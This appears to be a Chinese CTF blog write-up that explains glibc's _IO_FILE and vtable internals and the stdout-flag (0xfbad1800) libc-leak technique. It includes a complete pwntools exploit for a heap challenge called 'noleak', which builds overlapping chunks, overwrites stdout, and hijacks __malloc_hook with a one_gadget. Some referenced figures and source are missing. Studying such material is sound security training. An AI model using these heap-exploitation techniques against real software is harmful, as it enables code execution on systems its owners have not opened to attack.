IO_FILE介绍以及stdout打法


IO_FLIE漏洞利用


FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。
IO_FILE结构如图:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;

  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。
通过观察可以看到file结构中的字段都是一些指针,这些指针包括输入的buf起始地址等等信息。
但是实际上,我们关注的内容并不只是file结构本身。
_IO_FILE 结构外包裹着另一种结构_IO_FILE_plus,其中包含了一个重要的指针 vtable 指向了一系列函数指针。

vtable的作用


file结构外层是被一个更大的结构体包括,这个结构体除了file外,还有个vtable的指针当我们调用比如fread、fopen、fwrite等函数时,实际上会调用文件的vtable中的函数指针,如果我们劫持了这些函数指针,就可以劫持控制流。但是在某些情况下vtable是不可写的,但是我们可以劫持vtable指针,伪造一个vtable来达到攻击的目的。

劫持stdout泄露libc地址


主要思路就是修改stdout的flag位为0xfbad1800,并且将_IO_write_base的最后一个字节改小,从而实现多输出一些内容,这些内容里面就包含了libc地址。
为什么flag要改成0xfbad1800,看源码:

最终需要构造的fp-flags是这样的,才能绕过上面提到的分支


noleak write_up


题目:noleak
环境:Ubuntu 16.04


这题的漏洞和之前的offbyone是同一个,这里就不多说了。
做之前,我们看看一些要用的数据:



可以找到目标位置附近的fake_chunk,我们的目标是利用unsortbin的fd、bk指针改为fake_chunk,ALSR不会随机化低3位这里25dd只有2是会随机化的,也就是暴力破解需要16次,我们有十六分之一的概率爆破成功,这里我关闭了ALSR,所以不用爆破。
这里我们直接上exp讲解:(这个exp是学长大大的,我觉得这个比老师讲得更简单特别多,借鉴一下)

from pwn import*
context.log_level='debug'
io=process('./noleak')

libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def p():
	gdb.attach(io)
	pause()
def choice(i):
	io.sendlineafter('4:delete',str(i))
def add(index,size,content):
	choice(1)
	io.sendlineafter('index:',str(index))
	io.sendlineafter('size:',str(size))
	io.sendafter('content:',content)
def edit(index,content):
	choice(3)
	io.sendlineafter('index:',str(index))
	io.sendafter('content:',content)
def delete(index):
	choice(4)
	io.sendlineafter('index:',str(index))
add(0,0x68,'a'*0x68)#chunk0用来改chunk1的头部size
add(1,0xf8,'aaaa')#chunk 1、2、3用来合并
add(2,0x68,'aaaa')
add(3,0x68,'aaaa')
add(4,0x68,'aaaa')#chunk4防止与topchunk合并
edit(0,'a'*0x68+'\xe1\x01')#更改chunk1的size使他刚好覆盖到chunk3的末尾
delete(2)#先2、3再1才会触发合并,构造overlap
delete(3)
delete(1)
add(1,0xf8,'a'*0xf8)#先将chunk1申请出来,由于会链入、切割、链出,会在剩下的chunk生成fd、bk,剩下的是与两个fastbin重叠的chunk
add(5,0xd8,'\xdd\x25')#这里申请的chunk大小只要不要超过0xd8都可以,更改unsortbin留下的fd的低字节
edit(1,b'a'*0xf8+b'\x71')#要将未分配的unsortbin堆头size改为0x71用于分配,躲避检查
add(2,0x68,'aaaa')#unsortbin的指针存储在chunk2里,而且上面先free的chunk2,也就是chunk2位于链尾
add(3,0x68,'aaaa')
add(6,0x68,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')#连续申请3次可得到fake_chunk,0x33在上面图中有计算,就是0x43-堆头0x10
                                                      #后面几个参数没用,设置为0
leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  
libc_base=leak-libc.symbols['_IO_2_1_stderr_']-192 #偏移是固定的
print('libc_base:'+hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
sys_addr=libc_base+libc.symbols['system']
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
payload=b'a'*0xb+p64(one_gadget)+p64(realloc+8)
add(7,0x68,'a'*0x68)#重新构造堆块重叠,获得edit功能,具体看上一篇文章
add(8,0x68,'aaaa')
add(9,0x68,'aaaa')
add(10,0x68,'aaaa')
edit(7,'a'*0x68+'\xe1')
delete(9)
delete(8)
add(8,0xd0,b'a'*0x68+p64(0x70)+p64(fake_chunk))
add(9,0x68,'aaaa')
add(11,0x68,payload)
choice(1)
io.sendlineafter('index:','12')
io.sendlineafter('size','1')
io.interactive()

文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录